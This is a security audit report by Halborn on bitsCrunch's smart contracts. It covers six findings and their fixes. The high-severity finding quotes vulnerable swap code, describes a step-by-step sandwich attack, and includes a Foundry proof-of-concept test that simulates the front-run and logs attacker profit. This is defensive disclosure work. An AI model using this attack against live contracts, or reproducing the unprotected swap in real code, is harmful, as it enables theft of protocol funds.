Prepared by:
HALBORN
Last Updated 11/12/2024
Date of Engagement by: October 16th, 2023 - November 3rd, 2023
100% of all REPORTED Findings have been addressed
All findings
6
Critical
0
High
1
Medium
0
Low
1
Informational
4
bitsCrunch
engaged Halborn to conduct a security assessment on their smart contracts beginning on 2023-10-16 and ending on 2023-11-03. The security assessment was scoped to the smart contracts provided to the Halborn team.
The team at Halborn was provided three weeks for the engagement and assigned a full-time security engineer to verify the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.
The purpose of this assessment is to:
Ensure that smart contract functions operate as intended.
Identify potential security issues with the smart contracts.
In summary, Halborn identified some security risks that were mostly addressed by the bitsCrunch team
.
Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:
Research into architecture and purpose.
Smart contract manual code review and walkthrough.
Graphing out functionality and contract logic/connectivity/functions. (solgraph
)
Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
Manual testing by custom scripts.
Static Analysis of security for scoped contract, and imported functions. (Slither
)
Testnet deployment. (Foundry
)
IN-SCOPE CODE & COMMITS:\vspace{-8mm}
Repository: bitscrunch-protocol/smartcontracts
Commit ID: 903651081121334e2ac0f065668cefee79110bb6
Smart contracts in scope:
contracts/Bitscrunch/*
contracts/Epochs/*
contracts/GovernanceController/*
contracts/Operator/*
contracts/RewardManager/*
contracts/Staking/*
contracts/Token/*
contracts/Utils/*
Commit ID: 903651081121334e2ac0f065668cefee79110bb6
Smart contracts in scope:
contracts/Bitscrunch/*
contracts/Epochs/*
contracts/GovernanceController/*
contracts/Operator/*
contracts/RewardManager/*
contracts/Staking/*
contracts/Token/*
contracts/Utils/*
contracts/Bitscrunch/*
contracts/Epochs/*
contracts/GovernanceController/*
contracts/Operator/*
contracts/RewardManager/*
contracts/Staking/*
contracts/Token/*
contracts/Utils/*
OUT-OF-SCOPE:\vspace{-8mm}
Economical attacks.
Third-party libraries and dependencies.
**REMEDIATION COMMIT ID : **
EXPLOITABILIY METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Attack Origin (AO) | Arbitrary (AO:A) Specific (AO:S) | 1 0.2 |
Attack Cost (AC) | Low (AC:L) Medium (AC:M) High (AC:H) | 1 0.67 0.33 |
Attack Complexity (AX) | Low (AX:L) Medium (AX:M) High (AX:H) | 1 0.67 0.33 |
IMPACT METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Confidentiality (C) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Integrity (I) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Availability (A) | None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C) | 0 0.25 0.5 0.75 1 |
Deposit (D) | None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C) | 0 0.25 0.5 0.75 1 |
Yield (Y) | None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C) | 0 0.25 0.5 0.75 1 |
SEVERITY COEFFICIENT () | COEFFICIENT VALUE | NUMERICAL VALUE |
---|---|---|
Reversibility () | None (R:N) Partial (R:P) Full (R:F) | 1 0.5 0.25 |
Scope () | Changed (S:C) Unchanged (S:U) | 1.25 1 |
Severity | Score Value Range |
---|---|
Critical | 9 - 10 |
High | 7 - 8.9 |
Medium | 4.5 - 6.9 |
Low | 2 - 4.4 |
Informational | 0 - 1.9 |
Critical
0
High
1
Medium
0
Low
1
Informational
4
Security analysis | Risk level | Remediation Date |
---|---|---|
LOSS OF FUNDS FROM PROTOCOL WHEN SWAPPING STABLECOIN FOR BCUT TOKENS | High | Solved - 11/13/2023 |
BROKEN SCHEME FUNCTIONALITY DUE TO A POTENTIAL DOS | Low | Risk Accepted - 11/13/2023 |
2-STEP TRANSFER OWNERSHIP MISSING | Informational | Solved - 11/13/2023 |
USE OF CUSTOM ERRORS MISSING | Informational | Solved - 11/13/2023 |
INCONSISTENCY BETWEEN FILE NAME AND CONTRACT NAME | Informational | Solved - 11/13/2023 |
CACHING LENGTH IN FOR LOOPS | Informational | Solved - 11/13/2023 |
// High
Within the swapStableToBCUT()
function, when the admin is swapping USDC
tokens for BCUT
tokens by using Polygon Uniswap exchange, the execution of the swap is done by calling the _swapExactInputSingle(address(_stableCoin), address(bcutToken_), toBcut, 1);
always specifying the amountOutMinimum
as 1 (no matter the amount we are swapping). This can be seen in the _swapExactInputSingle
internal function. This makes the function vulnerable to slippage manipulation attacks. An attacker can perform a sandwich attack on the admin swap transaction, making the Bitscrunch contract to receive only a very few amounts of BCUT
tokens in return.
function swapStableToBCUT(IERC20Upgradeable _stableCoin) external onlyManager nonReentrant{
require(coins_[_stableCoin].active, "Pay:ERR1");
uint currentEpoch = epochManager_.currentEpoch();
uint256 toSwap = coins_[_stableCoin].billedBalance;
require(toSwap > 0, "Pay:ERR2");
//VULN high slippage manipulation in uniswap pool
uint256 toBcut = _getShareAmount(toSwap, shares_.bcut);
uint256 bcutReceived = _swapExactInputSingle(address(_stableCoin), address(bcutToken_), toBcut, 1);
uint256 stableCoinLeft = toSwap - toBcut;
uint256 toTreasury = _getShareAmount(stableCoinLeft, shares_.treasury);
balances_.treasury[address(_stableCoin)] += toTreasury;
balances_.coinBalance[currentEpoch][address(bcutToken_)] += bcutReceived;
balances_.coinBalance[currentEpoch][address(_stableCoin)] += (stableCoinLeft - toTreasury);
claimable_[address(this)][address(bcutToken_)].balance += bcutReceived;
claimable_[address(this)][address(_stableCoin)].balance += (stableCoinLeft - toTreasury);
coins_[_stableCoin].billedBalance = 0;
emit Swapped(
address(_stableCoin),
address(bcutToken_),
toBcut,
bcutReceived
);
}
function _swapExactInputSingle(address token0, address token1, uint256 amountIn, uint256 amountOutMinimum)
internal returns (uint256 amountOut) {
TransferHelper.safeApprove(token0, address(swapRouter), amountIn);
ISwapRouter.ExactInputSingleParams memory params =
ISwapRouter.ExactInputSingleParams({
tokenIn: token0,
tokenOut: token1,
fee: poolFee,
recipient: address(this),
deadline: block.timestamp,
amountIn: amountIn,
amountOutMinimum: amountOutMinimum,
sqrtPriceLimitX96: 0
});
amountOut = swapRouter.exactInputSingle(params);
}
The attacker sees the bitsCrunch swap transaction in the mempool.
The attacker front runs the transaction by swapping a significant amount of USDC tokens for BCUT tokens.
The price of BCUT increased considerably.
bitsCrunch swaps USDC tokens for BCUT tokens at a higher price.
bitsCrunch receives very few BCUT tokens compared to what they should have received.
The attacker does the opposite transaction, swapping BCUT tokens for USDC tokens and also taking profit.
function testPOC_001() public {
swapSetup();
logsInitialState();
uint256 amountOut = swapBitscrunch(bcutAddr, usdcAddr, 1e18);
console.log("BCUT PRICE ------------------> ", amountOut);
swap(usdcAddr, bcutAddr, amountOut, owner);
logsExpectedOutput();
uint256 bcutExpected = swapBitscrunch(usdcAddr, bcutAddr, 100_000e6);
console.log("BCUT EXPECTED ---------------> ", bcutExpected);
swap(bcutAddr, usdcAddr, bcutExpected, owner);
// STEP 1
logsPoc();
uint256 attackAmount = 1_000_000e6;
uint256 bobbyAmountOut = swap(usdcAddr, bcutAddr, attackAmount, bobby);
console.log("AMOUNT OUT ------------------> ", bobbyAmountOut);
// STEP 2
console.log("");
console.log("########### STEP 2: BITSCRUNCH SWAP ###########");
console.log(
"Owner: TX --> out = bitscrunchFactory._swapExactInputSingle(usdcAddr, bcutAddr, 100_000e6, 1)"
);
uint256 bcutActuallyGet = swapBitscrunch(usdcAddr, bcutAddr, 100_000e6);
console.log("BCUT ACTUALLY GETTING -------> ", bcutActuallyGet);
uint256 loose = bcutExpected - bcutActuallyGet;
console.log("LOOSE (EXPECTED - ACTUAL) ---> ", loose);
// STEP 3
console.log("");
console.log("########### STEP 3: BOBBY PROFITS ###########");
console.log(
"BOBBY: TX --> out = swap(usdcAddr, bcutAddr, bobbyAmountOut(from previous swap))"
);
bobbyAmountOut = swap(bcutAddr, usdcAddr, bobbyAmountOut, bobby);
uint256 profits = bobbyAmountOut - attackAmount;
console.log("PROFITS ---------------------> ", profits);
uint256 bitscrunchLossPercent = (bcutExpected * 10000) /
bcutActuallyGet;
uint256 attackerProfitPercent = (bobbyAmountOut * 10000) / attackAmount;
console.log("");
console.log("");
console.log("#######################################################");
console.log("################ POC SUMMARY ##################");
console.log("#######################################################");
console.log("");
console.log("BITSCRUNCH EXPECTED BCUT ---> ", bcutExpected);
console.log("BITSCRUNCH ACTUAL BCUT -----> ", bcutActuallyGet);
console.log("ATACKER USDC BEFORE --------> ", attackAmount);
console.log("ATACKER USDC AFTER --------> ", bobbyAmountOut);
}
To solve this issue, calculating the amountOutMinimum
of the swap that will be executed by doing it off-chain and using an oracle is recommended. Then use the amount previously calculated to execute the transaction on- chain.
SOLVED: The bitsCrunch team solved the issue with the following commit id.
Commit ID:
fcf43995a8ecf77586e3814914483469ab6b0f37
// Low
The owner of the protocol can create new schemes within the protocol for users to be able to use. There is no maximum amount of schemes that can be created. Thus, over time, or maliciously, the owner can create many schemes that would result in a denial of service due to reaching out of gas transaction, every time the owner needs to create a new one or update an existing one. Both functions (addScheme()
and updateSchemeStatus()
) call _isSchemeExists()
to check if the scheme already exists, but this internal function iterates through the entire list of previously created schemes, consuming a lot of gas.
function addScheme(uint256 _discount, uint256 _stakeAmount) external onlyOwner {
require((_discount>0 && _stakeAmount>0),"CS:ERR1");
require(!_isSchemeExists(_discount, _stakeAmount),"CS:ERR2");
schemeId_.increment();
uint256 id = schemeId_.current();
discountSchemes_[id] = Scheme(_discount, _stakeAmount,true);
emit SchemeAdded(id, _discount, _stakeAmount);
}
function updateSchemeStatus(uint256 _schemeId, bool _status) external onlyOwner {
if(_status){
require((_schemeId>0 && _schemeId<=schemeId_.current()),"CS:ERR3");
require(!discountSchemes_[_schemeId].active,"CS:ERR4");
require(!_isSchemeExists(
discountSchemes_[_schemeId].discountPercent,
discountSchemes_[_schemeId].stakeAmount),
"CS:ERR2");
discountSchemes_[_schemeId].active = true;
}
else{
require((_schemeId>0 && _schemeId<=schemeId_.current()),"CS:ERR3");
require(discountSchemes_[_schemeId].active,"CS:ERR5");
discountSchemes_[_schemeId].active = false;
}
emit SchemeUpdated(_schemeId, _status);
}
function _isSchemeExists(uint256 _discount, uint256 _stakeAmount) private view returns(bool){
bool status = false;
if(schemeId_.current()>0){
for(uint256 i=1; i<= schemeId_.current(); i++){
if(discountSchemes_[i].active &&
((discountSchemes_[i].discountPercent == _discount)||
(discountSchemes_[i].stakeAmount == _stakeAmount)))
{
status = true;
break;
}
}
}
return status;
}
To avoid this type of issue, setting a cap for the amount of created schemes within the protocol is recommended.
RISK ACCEPTED: The bitsCrunch team accepted the risk of the finding.
// Informational
The code does not implement a two-step ownership transfer pattern. This practice is recommended when admin users have heavy responsibilities, such as the ability to mint tokens, freeze or unfreeze user accounts and set system configurations. It may happen that when transferring ownership of a contract, an error is made in the address. If the request were submitted, the contract would be lost forever. With this pattern, contract owners can submit a transfer request; however, this is not final until accepted by the new owner. If they realize they have made a mistake, they can stop it at any time before accepting it by calling cancelRequest
.
function transferOwnership(address newOwner) public onlyOwner {
_setupRole(DEFAULT_ADMIN_ROLE, newOwner);
renounceRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
It is recommended to implement a two-step process where the owner nominates an account, and the nominated account needs to call an acceptOwnership()
function for the transfer of the ownership to succeed fully. This ensures the nominated EOA account is valid and active.
SOLVED: The bitsCrunch team
solved the issue with the following commit id.
Commit ID:
fcf43995a8ecf77586e3814914483469ab6b0f37
// Informational
Failed operations in this contract are reverted with an accompanying message selected from a set of hard-coded strings.
In EVM
, emitting a hard-coded string in an error message costs ~50 more gas than emitting a custom error. Additionally, hard-coded strings increase the gas required to deploy the contract.
function pullTokens(
IERC20Upgradeable _token,
address _from,
uint256 _amount
) internal {
if (_amount > 0) {
require(_token.transferFrom(_from, address(this), _amount), "Tokens: Couldn't transfer");
}
}
Custom errors are available from Solidity version 0.8.4 up. Consider replacing all revert strings with custom errors.
SOLVED: The bitsCrunch team solved the issue with the following commit id.
Commit ID:
fcf43995a8ecf77586e3814914483469ab6b0f37
// Informational
The file name and the contract name within the Solidity file are inconsistent. This can lead to confusion and potential errors when trying to interact with or deploy the contract. In Solidity, it is a best practice to keep the contract name and the file name the same for clarity and ease of management.
contract CustomerStaking is Billing {
This is just an example within the code, but many other contracts have the same issue. We strongly recommend renaming either the file or the contract so that they match. If the contract name is CustomerStaking
, then the file name should ideally be CustomerStaking.sol
.
SOLVED: The bitsCrunch team
solved the issue with the following commit id.
Commit ID:
fcf43995a8ecf77586e3814914483469ab6b0f37
// Informational
In a for loop, the length of an array can be put in a temporary variable to save some gas. This has been done already in several other locations in the code.
In the above case, the solidity compiler will always read the length of the array during each iteration. That is,
if it is a storage array, this is an extra sload operation (100 additional extra gas (EIP-2929) for each iteration except for the first),
if it is a memory array, this is an extra mload operation (3 additional gas for each iteration except for the first),
if it is a calldata array, this is an extra calldataload operation (3 additional gas for each iteration except for the first)
function _isSchemeExists(uint256 _discount, uint256 _stakeAmount) private view returns(bool){
bool status = false;
if(schemeId_.current()>0){
for(uint256 i=1; i<= schemeId_.current(); i++){
if(discountSchemes_[i].active &&
((discountSchemes_[i].discountPercent == _discount)||
(discountSchemes_[i].stakeAmount == _stakeAmount)))
{
status = true;
break;
}
}
}
return status;
}
In a for loop, store the length of an array or the current counter in a temporary variable.
SOLVED: The bitsCrunch team solved the issue with the following commit id.
Commit ID:
fcf43995a8ecf77586e3814914483469ab6b0f37
Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified the smart contracts in the repository and was able to compile them correctly into their ABIs and binary format, Slither was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.
contracts/Bitscrunch/*
contracts/Epochs/*contracts/GovernanceController/*
contracts/Operator/*contracts/RewardManager/*
contracts/Staking/*contracts/Token/*contracts/Utils/*
All the issues flagged by Slither
were manually reviewed by Halborn
. Reported issues were either considered as false positives or are already included in the report findings.
Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.
// Download the full report
* Use Google Chrome for best results
** Check "Background Graphics" in the print settings if needed